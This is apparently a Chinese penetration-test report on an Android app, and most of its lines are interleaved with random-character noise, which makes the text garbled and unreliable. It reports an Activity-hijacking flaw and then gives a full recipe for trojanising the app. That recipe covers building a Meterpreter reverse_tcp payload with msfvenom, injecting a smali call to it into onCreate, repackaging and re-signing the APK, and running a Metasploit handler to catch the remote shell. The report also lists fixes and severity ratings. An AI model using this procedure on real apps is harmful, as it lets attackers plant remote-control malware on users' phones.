; A+ L( b7 A+ N) c4 j; r% \
* j o5 v4 |9 K6 E% v
; S. Q1 n0 G0 w9 G4 M; N. K. q$ J+ m6 x* y/ N
% m( d' {" [* e9 i+ W3 `2 k% u0 E, ?7 |/ ^! k9 m# v
1 I. o& c; k6 |. Y
, m& o k8 ~) w3 H7 s
; t6 M7 A$ a4 x: {3 a8 ]7 Q! g# J3 I2 N' m
表1-2 测试结果 5 u( q' g% ~9 V; p3 G
8 @2 \' t- A/ W) p7 |' r! b
( }. h/ X* q, W) T/ i4 V
+ f! m# l9 n+ @0 p# h
" S( y9 W' N1 c# i- K5 d4 v) f/ x, `
0 L, s' A, W5 H9 ~( D% ?
( q7 }1 {, Y( V) C, i
6 k9 K& q3 @: _% Y% N
2 r% B& w3 D0 G( x( a7 c2 `" i
4 x5 [+ X' H& t* b( X. I1 D/ Z6 q7 R* v0 M/ G
2 检测结果 . G3 I) e5 u% C
) l- S& {7 ^0 i8 {' a
, w) R+ @ I5 p6 [+ Q9 x; |8 e! L3 A' M0 Y" ?- S, z. D
! l/ d, p! F4 j
( E1 w8 M* [' H$ L# v! J' ]7 Q; L' |
2.1 某某某 0 ~7 X' A$ @ v7 J% B: P! J
( O& l. | _: z: e
/ s/ c4 E8 g" Q1 R) U- T5 Z" C' c! n# s( D: t
5 r, G$ C2 l2 Y6 k& \
0 z( u8 P F' w5 v' U/ X
2.1.1检测目标
4 h: k0 ]1 J1 F8 N- S- e
: g0 g/ c! s9 h- A- y" u" O
L0 ]) @* E. @ S: I8 Y
" j7 o3 v% l4 [7 s ' E2 }8 F! O1 a3 n+ G# |
+ L$ p6 ~, c$ W; w: [7 j, o) ]
目标地址: 某某某某某某APP 2 d/ `4 R Q& }$ ~/ D: @: H
2 l9 a4 ]2 d( o
7 M+ |' C9 j2 ? ]7 t6 \
1 o5 _( v: b& u: [7 U I' | 3 U( k& q% N' W: S" d
, _! e" f- E$ w) h8 l" H
2.1.2检测结果
4 G# b p9 r$ v7 F0 f, M( i1 i- c3 D# M! R, }7 ] Q4 D8 u
, }( h. \. g0 K0 [4 l p: B7 k" S! C/ h
' l: V, u2 X/ M0 o8 p* g& Y
' ]4 M1 k8 I7 S3 T1 z3 n. U, }6 A
& q x# p* p0 P$ ?+ {: J; P; X 2.1.2.1 ! S5 v9 |0 h$ K) M1 \# f& @* d! j
8 }7 ~# ?$ w, i5 v) D. ~
, a% L' X8 s& W3 W
& c! F5 T. q8 L& `( c5 w8 H' l
2 L2 C5 t8 N1 g+ n( Z; E
1 {+ H- _- Y* p* p+ ~& v+ v 漏洞链接地址:某某某某某某APP
+ T0 k! n9 w, Y. x
+ P/ d' i5 `" K) _2 p1 r
7 y0 T" M6 c/ ~ u6 m2 n
9 }5 _! Q* o" {+ e2 X6 R$ I 6 _" I( e5 B* x$ k. @6 G8 ~
% G1 |5 I) H$ F5 L* H; l# E
! J+ Z/ G; }; U# K
7 t0 A( N2 F; D6 B0 Z9 i8 w
& P% {1 E6 J1 n% Q* g1 v( x$ z4 p& o* ~' L; F( O
0 f* F( E# I. Q0 ^* @( l" `
' T5 L" e" N/ _# c F9 a$ ? 漏洞分析及取证:
: X( x2 u- ~$ v( K/ l2 a6 _
9 j! P: ^/ }& P8 K
' D& n6 j6 i" K4 z" R) g
% [0 o8 d& N0 J2 ? ) s, X: | T3 z" q S" }% Y
2 Z4 ^7 X/ ~' e; l/ ^5 Q5 K
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ! k3 X: Q/ f3 i. h r
- B3 b3 R( @# T- @( M! ]
$ z1 J* ?, k! O8 B
% C3 m* t5 r* P& i: g) ^4 V
0 q% L2 l N! ~8 \: K6 b% ?/ ?" X/ H M: W- Y
) Y+ |1 m5 g' ?1 i0 r+ I) d
3 L6 G8 ~8 Y/ n; P" q& U
( d* H! p! |9 X5 d; h& d! n/ X6 g+ l4 Q, X# A- N5 T
: q% @! F3 X, b$ F
- a y2 _& \/ f6 d& @. y
0 x% c* |- H) X* |7 n
( `! ^1 E$ O. G/ u" z5 X
8 F3 n3 Z, B( T8 a& l3 R8 a
, D0 `( c" A2 j% g
& B0 _6 R& C2 {' l
4 I( d/ l1 U/ [
, k! h, n8 g7 Z
& ]6 }# y; Q4 K# H
) p4 l( \: @: C* X& z- w7 n8 D
9 k/ M# r; K2 ^, `8 i# e5 D4 o
, `3 k4 J" a/ X+ k
( J7 f; I5 {- h- s
( M2 h) J c. x' v
$ D# z& g, ~. }
! w; [) L3 s5 \' C- J+ Z3 _8 P7 i3 \1 V# Q$ m
" h J0 f6 K5 ~; }# c, s. C0 p0 W: O! f, y$ p
% n& q6 O- L: V
$ N5 B( c9 z9 K: a# y w! F
. n& i, ~6 H- G+ I% n8 L8 G
0 B0 \- K M* H% x2 `
, t2 N& x2 I( R' Z2 \5 K
# `: Z4 z2 r" u0 z d* y 漏洞危害:高
0 K4 j4 F3 U2 c
' G7 {% G( r5 t: z9 w, s
2 a& _1 `5 [( I
. [. ~2 p- A5 j3 N
) t6 F D( h% z: {4 B5 R. r3 m) o" t9 s5 ~
9 S4 ]6 T, N) t! N1 m0 {; D/ T* H; b( F! x/ e! h* z
( `* P! a& N: ?. A3 v. T2 e: X- B5 N% n" J( k: v7 D/ U! \4 P
' ]0 E; ~2 T$ h0 i
" P6 U) Z! i* g: @
3 D! m8 E8 L3 k8 H6 P2 ]3 h; v5 u1 p& r& g4 S9 y; j/ o) a' m" B
' p% D- B* N- |% F9 i" n# n& L, w7 q$ e6 U# [4 o) G
严重程度 $ X. D3 j& m9 l6 y# [
0 t5 H$ K+ A R/ b5 Q/ _1 z
- n5 q5 |, @8 @2 I1 G) y( Y
/ G1 Q7 n$ b2 [4 Z" @ |
: q) W* x- ^6 u: ~1 Z/ d" k, U
1 ~ A1 l4 N9 T. d
# b3 T' [4 ]1 u- j$ X; W# {
2 j& B* n( e& P1 z* T) S " B0 R) P2 n, u2 {$ l
/ u9 M) X! c- h! P7 [- u4 L
高
: j+ o- S# _& q( _" x, c: J, |7 T" x4 _5 S
, v' M+ S* r' S/ D. L, X$ o# L
, P/ c/ p, S( f) g% Q
|
1 m7 v* w7 X7 x! J) |1 {" ?5 d2 F4 a- E* Q4 E1 A
/ h5 J' K+ G1 i( Q& D
; e8 s* D% O3 p* a H& @, |; @5 s& g
$ J5 b* v0 `8 t
7 y& r) D9 Z& t+ q9 k
■
" V# N+ r' t o+ a7 [3 { B6 t: i% n+ K4 P6 O" n
% m1 V& G8 K; R* `1 U
, X. R' u, w: F) Q: M | / E* D! ]# L- e. C2 ]
9 k; q: F4 m3 J' r, Q 8 W. ^2 J' l @6 ^
6 Z2 j5 F- C f. \, `; K( i 9 ?: P2 m; P5 s
( y3 i% N- V: @* b 中
6 O3 B2 y- |1 j$ E& k* v9 ~! I
% m3 T. S8 [( t7 N1 _
6 P: k8 W6 a) n9 i6 s, A# h+ M- A4 i: U
| ) n+ ^# ]) g- `( X( r: H
: \/ S1 q+ V) {' G% Y 2 D* H/ G$ T$ H# W ?6 [
9 ?8 t0 K" @7 N" X+ b+ C; ` # L" z; I8 B0 Z, m. \, M7 p ^; T$ W* [
+ o, X0 `& _' e* h- y/ W ' F, B! C5 {) _% L
, ~% e; g& J7 u: i6 w: X 3 ^. I& h* D4 p
- H# ~- l% U* L4 u
| & ~& a. J! J# r4 {# f ~! s8 }( |" S
! X# L) V* M% |3 D9 T" r7 j 4 i! e% V9 h2 j) j7 M7 T
# Z* c. _8 U) `1 U4 }
' L/ ~! r3 e, E: x3 v, m6 w$ ?; N9 ~ R, c/ F! Z$ `1 w
低 1 b0 @+ k- t0 `4 V6 M4 P
" b8 Q, E9 H6 ?) d7 w
( j1 A0 ?9 `. G* p }5 F. t
8 N: a# ^* v' B. b+ P | 0 f8 \! p3 R$ ~; ^' o/ t9 n; K1 U
3 c8 d& @- n- J5 W $ W6 A/ ^3 J5 E6 q/ }. n0 c
1 Y9 C) r+ I. v0 y! Y! G( v. {
C. S: j7 j- R- X4 w
1 V& J0 y' W: }: c' q
# j& x. {! ]8 C( L& W" q+ ?, z/ F/ [+ w- w+ `
2 H; E1 R) n; j- W: i" d/ Z
' e5 _- z/ x3 _) ^7 J! @ |
3 `$ J; \& [0 l, A; p6 q% h a- Z/ b4 g$ f( U2 ]: @# n
5 b, H& S: b1 F$ e7 U% s
% S/ ?$ D$ K- }0 O' V, _
9 W9 Z! A$ Q: \
9 Z1 w7 |8 f2 Y4 g$ O
* d! N$ D0 u+ Y* z
. ~$ ]/ E" H$ n" p2 y
" u" b7 X$ i: t3 Q, r: d; n
4 L4 K m4 A* { Y# n! W& D4 X" l
4 Z0 E: ?) s) ~( G% m0 p4 e* W4 U' m6 }
- K, w6 K9 h, x L0 T, `3 d
. R5 S; h! o# ]' A3 ~0 n
% ^% p; W$ |3 T% T/ D
3 `7 Y& N, s' N7 E' u0 A 3 P3 x) l8 ]/ f
2 V) a x4 s4 q* x3 l 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ) s7 x( k0 [6 T+ q
& }! W. P3 Z( ~) R; s" k" e
. L, M) |* A' N6 v5 a1 G$ Z- |. K
+ z% ~) [' P/ F$ ~% ^( }* e3 Z& r
( x/ e( Z: u# ?, E' D9 e* C9 |$ M, e, E( l* I( z) m4 j% Z% g- O
- O$ c4 v K* P: J1 ]' w
/ S5 W! t; h9 v' I# P1 P% w2 \
9 A' L0 \4 B9 B( }$ f
& D' {6 V, Z- ] * J8 O0 m; V' D
) _( v( u, P0 i5 C& b) w. P & e0 w0 y9 z% g" T- ~& y1 \
( t" n" h) I8 C- `0 ?! l' w
5 |& w/ k w) b! E. o
% ]; \: B/ {2 p/ z. A5 F0 L
3 k3 ^7 a7 U. r. D' k2 V: P2 i3 C& b. N
2.1.2.2
% s+ t, B- o' c( U1 _# {
* T) F) _+ ?9 _
2 Q; l' _2 c' b( o9 ^1 }
0 v! S; ^ G5 C- v; }
! t0 C1 G! \# G/ Z4 F& M2 ]
m! L' |+ X- V8 k, Y7 @' b/ K- b 漏洞链接地址:某某某某某某APP ' W( }( M6 }, }8 h$ ]+ l$ [2 |
T' ^4 t5 ^4 A0 i0 |* y i% X
: q7 q; L5 z0 q# @
* D# d x' S% m) W
1 Y% u5 Y1 b+ F" D4 y( W* L8 O7 P, V: r9 B' r
漏洞分析及取证: ; r- B7 |7 ?. H& \' T, s# U' W
6 v: c2 K4 P* {: j Y
* A' P8 A2 \6 b, ]% k( h9 f5 ]/ I- e8 W5 I8 e2 v8 L* h
% |6 f: `; P/ x2 l/ x
, v4 [2 K" _2 B. r
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
, d" G3 r# Y2 g& C2 f5 q0 i( T* H2 y2 _
]8 N0 r9 m/ J; C$ Y! _! B% u* t ?6 x* S' }- X: K
* s- j! X! W8 g" N% K( B6 d& J, D# X3 H4 s8 a0 |8 i
用Metasploit 生成木马 apk 4 F7 N, m* A. ~) L) q+ n1 d. @
! s w( J" X2 |5 \, z- `# S7 k8 h6 t. r
, B. C! i1 F u( A* s
/ x: _- p' g8 n6 \% d3 } " ]% _) z8 s1 \& W( ]) p8 v
5 ^) C8 `, v, m9 o5 I2 F msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ' i8 @- ^# v: d, g Z* R2 t
7 y6 ?# W: o0 N8 L
* X! ^4 C5 x0 D; ]) F
1 g: P9 N; e, Q3 s! K/ X* C' \
! m3 A$ p7 _- \ |( @
" ?1 V% T; ^) ]5 ~* f& Q 反编译目标apk和木马apk
8 `5 K3 G) n c, X+ C% ]. q; k5 C
+ H1 d- E. F! _* y
8 I4 v! b g; t% m1 u5 t# I- s
5 p* G( K4 w" L1 m3 d0 p
$ E# X5 @3 v; e# ]# d4 F$ d" i" Y2 t8 ^7 [# q' h
apktool d target.apk
, {, R2 Z0 \8 w6 t- q* c& T4 w# d5 g
apktool d cockhorse.apk , ]; ~5 @+ A( c4 \
* r( v0 U+ n% @6 r9 o$ h9 [3 `: S, U
( C/ J4 {& \3 J. I n
0 @% o$ \& I2 c0 a- y
8 @% P* o' f% a, J+ w4 A; ?( [
9 D* i' w7 W+ j' E6 M' J 木马 apk 注入目标 apk
/ o. T/ M5 A) R* t
, f$ g2 Y$ \6 t9 Y5 Y4 y+ _
2 d* h* r Y. d1 @2 B
( j/ x. X- e# c! T + j0 ?3 }6 z# h# E6 W
- c) ?" C& i$ Q- b. O1 N' y 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 t8 r; ] i2 S2 @1 l: Z$ v4 n" N K! x+ ?* q5 {+ d: y
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
% q: ?9 e; H7 Z! a! h5 A. l3 M4 O
( N5 m n5 n* j0 K0 ~ Q9 m5 A) c" K1 g
7 \! }# y" q# z0 s8 p8 S0 ?6 `! F2 Q" U) e( C
; p$ R! u: o4 g; @8 h. t, ~7 R. _4 S3 L4 D+ l# l" h
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
5 l* m2 r+ L$ o5 j+ v4 J% B" q9 a! @/ ~ h3 l* t0 O3 F
# r% P3 i. h4 Z! h3 }7 @* F3 {( }! H. B! Z/ Y4 i7 H
6 ~4 d# H8 R% D* ^* b# N
& i7 b. i( A; L2 } 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 : p* [6 q: v# R. j' ?
8 ^- C9 p; c9 s9 z4 n& p
" L8 j! X# G+ \$ l0 a' \$ d
2 _' K& g8 N) q: ?
/ M4 q8 r4 a" M2 K" ?! p) v. C3 F3 A/ u
回编译生成最终 apk 9 r' r1 c5 Q7 n6 y/ ^6 b
4 Y4 x* R& H+ T6 }3 U3 J, Q( S" o
1 o" W# r; i: K1 R3 o
5 V& s7 }8 u% [
1 N5 W1 w4 W# j: b
, R& Y9 r1 i5 r4 r A8 C: T 重新打包
7 I+ ^: i1 z& b$ `7 C: j7 P) h
5 ^' S. h: Y# F# n7 @
_3 B1 M; _" a. p9 \4 k5 n( d/ q% |/ c ^- o9 y
& Y) c2 S! ^, F6 I
) u3 E/ N( J: q6 H4 p
apktool b -o repackage.apk target_app_floder / u0 O) O' I% ]$ t
4 c& x5 A3 w+ }1 `4 S! C
$ {; P* Q% U% K4 \5 h$ D8 Z. X7 |
/ m" |2 d2 B# a( @+ a
( V* }0 b- ~7 c, E9 w' V
, u( I( ^: h8 N1 ^1 M- m' s' w+ Y 创建签名文件,有的话可忽略此步骤 ; Z, }" S8 a" | t
K8 w6 k, M+ T3 h) E- E& X8 Z
" i, s5 s# J8 x) a0 W- z4 C0 K
/ ^% B3 y `" s$ n8 o) X/ ~
/ [1 X" q1 @, D* s7 e+ k8 {( k8 c# }- f; g3 N
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 . P5 J4 P* M+ [( q
2 ], i2 f' y2 Z/ ~' v K# t8 i
3 J9 q( m3 k5 i9 G. l- U
1 @$ m9 {; _1 T, Y $ z1 d# E6 G, f m, _& T# ~
/ j! E, F+ d/ T5 ^9 k" s 签名,以下任选其一 & W+ _4 k5 O# R! G
# V- B- U# v' g( i
: \1 c, M! t9 I
' t3 E1 ~. b+ M& @ / c- N1 c) K5 K0 u! _7 G
4 T0 t; K4 ?8 C) T W jarsigner 方式 ; W% t; E, {" D; P* |( D4 y, z
8 e: h7 c$ w n) [2 z% ]- e; c
% v g- _' _- |1 {0 t
6 o* k: S. S5 w ( `4 R0 J: Z; ?* z3 n- N t/ N- z
& L: L4 M% J1 P1 L
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 2 I1 W( s- G4 ]; \0 M
$ z# V/ R# I- P5 C
3 `2 _3 u! \: m8 y: \" d0 b7 \% a
1 o+ I6 T9 l% ~& {2 T
5 l/ R3 w. t$ ?* I0 W% [* B
: y: J8 U, w7 I' p/ @7 ]
apksigner 方式
1 h; M' P& g! X& k; G7 S
& N# F& y$ w) a' s- T C! J+ z
0 W5 \" O8 Z! Q* D2 R/ o. H6 \; }( {
* u+ e1 v$ l9 G. m6 Y% g
0 l( u" U D% k+ j4 T; ? apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
4 m8 ]+ l- R# ?2 d7 S: N$ m5 ?( f; A6 d
: Y& ~+ a( _! J% t* H5 v! o. W
5 s- W4 O% f/ t3 u' }1 P j5 ]2 G# }
6 b2 b6 x0 z/ r5 H) g1 ]
/ W( \7 x9 m; @7 M7 L 如需要禁用 v2签名 添加选项--v2-signing-enabled false + ]$ W% H" U7 i. s) p' k6 b
( w$ w7 c# h4 A. R1 _ {" ~! A
; e" E% A% C1 X3 Q) F
! w9 M6 f( b1 W0 C
: p6 M" i( D# \2 ?" L) }
1 O% I2 ] l$ ?% \ 验证,以下任选其一 " y* u+ r7 ]8 T4 ]! j
) k. R9 U$ `$ h1 s5 ~
# j* R; H D' i9 U! ^( { m! ~
- w+ G' i- u6 B5 m4 j- ?8 `- m- S
' j( ^8 ~: r$ s5 }# t |8 C2 ^- o
7 s! \" r" J1 K7 u0 w1 a' { jarsigner方式
3 n$ F4 m- q7 q* v P: M K
+ ?: C8 w5 V. u' V% @. q! w
/ H& |( R0 u" ~1 ~8 D
( v0 C- i) [2 l* f/ Y% s( u 6 I$ x+ h v; r- C) h, O
: |; [% P7 U5 x+ u' w4 S jarsigner -verify repackaged.apk
. G. \$ E/ ^& `2 t, ~ V7 ]" C2 s. N, a) @) }# l' [5 c
; e6 T# p7 D4 U- x3 q6 U
h+ [/ ?. o: B" O6 X4 S9 y) L
6 g& a& N" Z, j3 |4 O N7 ?! y
1 z) X% K4 ?* F, y! W/ {1 g apksigner 方式
+ W! D# T' L: W1 F+ C
! Q! [- m: J- ~ D4 U) l
/ C) |; v; v% Q+ l+ y1 m6 ?# J
* l4 W* s3 f" ~
7 T$ C; a" C" k( g" N j
) o. j" A8 @# r apksigner verify -v --print-certs repackaged.apk
( J2 Q. j: t# W$ {' J7 \. e l! j: @, F/ J- a
: V! N( b4 C7 b) c4 t9 _
6 o/ x% V, k# M9 [; o' k: l " f/ D) b$ ^7 _3 t X
4 G& |; z4 z* A* `( U
keytool方式 ' Z# p- l! j) |- j) S. y) q, G
# ], g7 U8 T* z* C. x5 C
# W0 q6 q0 X1 Z8 H: J6 U) j; }6 ^' a' f7 i
( T0 h3 N! E1 F& T% L& U: Y. ?
' X6 \- g$ ?! `2 i1 M# p2 e' ?
keytool -printcert -jarfile repackaged.apk
/ y; Q5 i H$ H2 o8 z
! w5 {/ v1 r+ [5 B' J. i# Q
6 D7 s2 w4 M6 O0 ]" N# I- P- i! l& [2 ` M+ x, \ S
! k3 w+ E! G7 n# n! K( @
' @3 P, X4 V$ I+ _2 q( y( g
对齐 5 f& v. ^/ h9 j; u
$ Y& x% K: |- n' X
& S. T) ~% w) c8 L7 I: V, e: u3 f) \2 X; D# B: _
; i! d& } M: ?* q
4 n# o7 \( @& w# |. a) H
字节对齐优化
) e& I# N! A$ I" w& O
; Z) y6 f% i8 n: P# p
' r: ~1 a" r& c9 e; w
8 ?) X. I0 J0 \( g 2 j) |" o* H1 E
) h+ I3 u) e* C- j, |1 e zipalign -v 4 repackaged.apk final.apk
, v) J: A2 L! ]- C N. | v: a1 p/ o4 p) o* @, Z; j# e
5 n9 R( r* [: C* {- Z0 T' d3 ?
3 _0 E+ e1 Q) f" H: U0 [
& l- q* `5 ]( N" ~& S
8 U2 H* X6 H' d0 M 检查是否对齐 4 Z* ^7 x) \7 s' |8 ~. B$ u
\- Q9 S' b! \( k1 Z( U
& L# |1 c/ A/ p5 ?0 W# B* v* `% t+ A9 P
3 i- G7 E) V2 t% O+ ? Q; U
6 Z5 t. P- a: D7 ?, G
zipalign -c -v 4 final.apk & F" F$ r, |, \' ^
& |1 P& K9 }: K2 \" e+ k2 { u9 `
1 T% y6 {4 R0 r a
( R2 n# w( e% ~& }$ u4 c 4 T& r: G8 O( [. z0 T
7 F8 r, q0 i/ r. I+ W1 V 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 + Q o8 [* w4 M' R; J
c$ L0 ^# g3 ^) F7 u
1 Z* i4 E% R2 k% S) q& S
/ u! X* l, y7 S$ E y( b5 p4 @9 K" P8 Z: m
" f) r0 U1 S7 d& Y* @4 V
启动Metasploit控制台,配置参数等待上线 ( `& J" d* w- h) H8 k# q
1 f/ W1 U/ n* l5 |0 C- P0 E+ x5 O- j
7 X& G# ~8 | V" G+ \! ~# Q$ P" ~7 m7 u, D7 ^' ^7 K. u# H1 W6 Y
p, } u- ?: _: d6 d% g- v$ w5 e9 e& h2 Q3 T
在终端依次输入如下命令 {, D' J7 r0 |' V% A
2 f1 P2 ~* x( `5 ?! N7 U0 T: t
+ q4 A: t- M0 |" w- F
$ S* a' \7 S* ^0 I9 Q" {
) T2 w/ j2 A3 Q- `0 u* V/ o4 s, w1 }% J1 o5 J! P) s* M
msfconsole
0 W) L- }% N% w
: N6 I8 W: q$ [9 m
+ ~+ f, [ G$ q, z0 ^$ o* k8 s# `$ {& ^- ?7 y$ \7 h6 F
5 F/ s1 y' S! D$ \( [) t% j- o8 j A- `" n! l R0 m
use exploit/multi/handler 1 _$ ^* O4 J; ~3 U
; U! Y1 j. p% C3 Q% J8 h4 x
( f+ p* T. V$ S" W( m7 h, K3 a1 e3 i/ z& S6 q8 z
' {; {- E/ D, b/ K' Y: \7 ~2 X& O
0 }% P# T0 r7 w3 ~
set PAYLOAD android/meterpreter/reverse_tcp
! x* S3 c/ e7 V% k/ B0 Q0 p2 G% I0 j* w2 A. h! O0 p
/ h7 L9 j/ a& V5 O9 l
/ e, O O( B1 z2 p3 a9 N $ [! C8 L% D% [/ Z3 X7 W! E
7 }: X4 k) Q G% @4 C set LHOST 192.xxx.xx.xx
! o# E. `* v$ x- E2 f( T8 g1 [+ f& j+ l8 H; Y
/ `' }- l) A' d4 i# O) b( L8 Q/ b& M5 k0 |' Y3 T0 ]! m% [
6 ]; j( r( u. e8 ?" s
) b6 D# d! L& j e% D
set LPORT 4444
% n3 p3 `! I3 |/ y: [2 e4 s
4 X# P0 k' L5 s9 G
$ C% N( e# K1 t$ ^: d3 f: H. S
3 A4 R# m |' k
2 G+ b, G3 F7 G8 F' r
; J( q$ M ~6 x, t* l exploit / B* {" o) S, K1 |) \3 M
A1 E' E9 x. H9 ~
+ |, K1 g( |! }7 c* Z: h
7 W3 d9 N$ q4 ]* `& a& r) ]$ H4 m 4 ^: w+ `# {% q& \
9 ^5 `3 V) k/ |/ B 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
' Q9 w% ]# i( Y: ]5 \$ U& f
n* k" Q, @6 k Z$ C8 U$ }
- E/ L$ l4 V7 F& r1 R# V% }$ r0 h! P9 h4 ~3 Z0 w" B
$ }+ ?# _% `% h' x$ I+ d. F9 K2 j- L0 Z, H: d$ V, j0 |
漏洞危害:中 ; J7 A" ^) H3 H/ Q- h1 |/ `
( b$ V8 u& M: v" K
' E0 i) Y+ m; i! D5 Y4 C. w8 h$ o- L5 c: [+ f* s
% [( w) S" e, X
9 U' C* h! a6 x& Q! m4 `
k7 q- z5 f2 f& q8 r( V
8 }- \- I$ y" q* q1 i- Q4 D A7 P+ T
5 T. s: W5 G4 L( e
( b2 m% X+ h- {6 o
' U0 b6 L9 p+ y/ P: R \0 A/ ^; N
8 h* c" }( ~4 D7 H4 r) b
, h' V `5 Z. w- z0 a* {; h
1 }! m3 l0 q) y% q h& ?8 T8 X) f
, ~6 G/ F# P, _' S! Z9 q' |4 N ^
* }0 K) v# o- y9 t0 @7 `
/ f9 X; |3 G8 g$ \% f 严重程度 + w" R) k) R- F9 K4 N& e
' C! f* t! K$ T# c) L. X
1 o* z' ~: }7 c0 s! l* y0 Y5 z
2 u* O3 Q0 T) B; U2 r | 1 G9 `* `2 L/ x( w! d2 X2 L- o
. Y( v! _ a) c
5 M$ ?5 F* }7 T
( U# n r: L5 ?' W1 w" s9 ]+ V 1 l7 g2 d1 O# f' a
9 i8 o5 t# ~2 Y g8 }8 I 高 % d7 A* T/ X5 E) ]* L; Z T
* W) s' ` y# P3 X, S+ d' f! ~- ~6 A* N
* v% r/ p6 s( g8 S) t
$ p* ]& {# z3 C1 [6 C |
9 o- m4 [) \% C$ j, B. i
2 I1 Q- A, ?$ H! H3 q
" K+ l. s- {1 S* e$ ^# n
& ]: E5 {. E$ Z4 M% f- ]" t + @# A1 z/ Y8 m% R! i
/ m2 M8 N. D2 _$ a- C ■ / z& x4 B( L; D I
( A5 O# X% g/ ^
! T, p# Q5 B, ~3 k7 n+ N# M
. |7 v; Z5 n2 d2 Y | ! q# \( G$ t2 Z7 \
" V5 F5 D2 G0 N/ J& L$ [
0 t" a9 u. n; j' X0 C; \
. L; {- O: g5 P : h( N; a, v/ w
* G) B( }6 n. ^! l 中 + v/ W( b( J0 L% H
; Q# d7 l& y4 z; x' X1 C
4 d+ N8 l+ E; b
* `2 {+ _2 z* f! m9 E) J | 4 h) M1 m; Y" f4 g3 ^8 b
. U9 s1 p% d7 \+ Q7 [ $ ^! m/ j2 G1 N0 [! B
/ T+ v4 ]9 Q7 ^) J4 s6 j 6 ^+ `3 N3 j( F/ q
0 P/ f* d9 C- r9 X0 B
- B4 S. y! R( F. ^; {+ }7 s Z l5 \; n3 X! `. r1 d
' \9 Y0 ^, o- B7 Y
: i, t( A% W$ D8 }0 c1 `" S
8 [5 e% s$ K! c7 N
% R8 W; c- J9 l7 [7 I | : B# S9 e2 y* h# E( Y. S. G3 C
3 F) Z7 J# d1 x
1 k6 Z& t- {9 z6 S3 v9 ]4 F* U+ h8 s3 ]5 k. V2 {* x0 c
1 y& t# h6 w) [
( q; h$ d. k0 s z9 V
低 H+ p' ~$ @' A( K7 q- R% e: d
3 }3 G2 E& {$ s3 P, [/ K
. {6 c8 m# o$ V( w! B4 [: Q
: [& l' ^7 b* T" l1 ? |
" {, R G3 |$ b5 \
' ]5 `! o; c" s5 P % r: w, ^8 u+ P+ N2 Y
7 l9 N7 d, c& T9 V9 r
+ s B ~6 V# W3 q W" `$ ? K+ F& ^/ Z+ E$ K3 u5 f* X
" G) b4 m. Q ^# |2 B8 X
3 b, x7 C' O: B `/ g8 r
- n2 S' d1 _- Q- D/ O
5 u0 ~# t; j: ~
& t' l( M) Z4 ~& ~6 b- f* C0 v9 F# }
# ~( B; n$ F P% y* x0 R
|
( E! K8 x' _! l/ o5 J! x
$ H+ C4 l, X9 X+ ?8 A/ \% e
% G0 l' ~$ Z- Q5 P0 h% g4 o
& ?" ~0 p, ] d
2 {7 d9 w5 e( X' p1 ]1 ]' K$ x: L4 l8 H0 I7 c* E: ~
# {& f" V' q% u
3 C; \: H3 n+ Y5 k2 ^$ S7 x
- x( [4 |% ^' h- y& G8 A
9 v1 i: D3 U- B2 r, c. ^5 j& B
6 c. Y6 D1 f9 z! _' c6 v/ r( T! I( O7 F3 ^+ c; l" D
/ {- D0 e0 [1 b1 V' R# y
$ `4 {7 Y) L3 N7 [$ L% p
& j% Z( R, s, w1 B; ]
7 ~, \) ?) O e3 r- J) I/ s8 C : {7 ^3 c2 d) @( R
, k- g; P' R1 }
修复方法: / D" m) J0 A9 } t1 B
# O7 g) e% M4 e& M) b
4 u: C: S- b$ M. z' t7 q5 k# |
( b6 A* X3 C1 q G: B& X8 k2 q0 P
$ s4 M8 }' U. I# A% U
& o5 ~0 }9 b, i! w" y+ b 1.在 APP 启动时应做签名校验防止二次打包。
& [' j7 m5 a1 G5 H B$ Z' [/ r I* q2 j& L a/ Q8 p
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
- x a M8 i) j0 M
& C! @' Q& Q# K7 @
( E7 Q A" n6 d8 l: Q' i; r
1 j* `, S, c# I* H r% M) Z % l) H/ t7 T* Z8 I2 k% e4 r
& o/ k# N: J) F- X' B: M6 U
8 n0 {; _4 b3 h, e" b. x& ]8 v7 \$ l: |& ?( ?: k
4 A! a6 ]" j. O3 g; @5 p7 J8 x4 M# e8 t( {) `, q
! f! S4 g& W- f F! N
+ B: _5 b2 J* W' r! T 3 |- Y2 N+ |6 ], ^' M$ U1 B" W* \) \
& q2 n* T$ B) T3 D" U
# ~8 o: o$ A' L; I, ~
: \# e& z: X- E& N8 C: N
; U# h; C9 }4 b; ^& q4 Q! n% k$ [3 X5 @2 p) r
' d3 R1 V, ?: Z' E6 q
& ~" {+ x7 _! V9 D, s f